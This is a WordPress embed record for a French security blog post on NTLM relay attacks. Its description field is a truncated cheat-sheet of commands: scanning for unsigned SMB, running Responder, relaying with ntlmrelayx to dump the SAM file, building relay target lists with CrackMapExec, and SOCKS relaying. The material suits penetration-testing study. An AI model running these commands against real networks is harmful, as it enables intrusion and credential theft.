{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"NTLM Relay - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"vESzlwBfdy\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/\">NTLM Relay<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/ntlm-relay\/embed\/#?secret=vESzlwBfdy\" width=\"600\" height=\"338\" title=\"&laquo; NTLM Relay &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"vESzlwBfdy\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"Vuln\u00e9rable si la signature des messages est d\u00e9sactiv\u00e9 # nmap -n -Pn -p 445 --script smb-security-mode 192.168.2.0\/24 D\u00e9sactiver SMB et HTTP dans Responder.conf et d\u00e9marrer Responder # python2 Responder.py -I eth0 -r -d -w Cr\u00e9er un relai vers le serveur cible avec ntlmrelayx (impacket tools) et extraire le fichier SAM # .\/ntlmrelayx.py -smb2support -t smb:\/\/192.168.2.64 Obtenir une liste de target # CrackMapExec smb &lt;networkIP&gt;\/&lt;cidr&gt; --gen-relay-list targets.txt Cr\u00e9er un relai en utilisant un socks proxy: # .\/ntlmrelayx.py -tf targets.txt -smb2support -socks Pour retrouverr la liste des sessions # ntlmrelayx&gt; socks Nous pouvons aussi abuser du protocole IPV6. L&#8217;id\u00e9e est de r\u00e9pliquer"}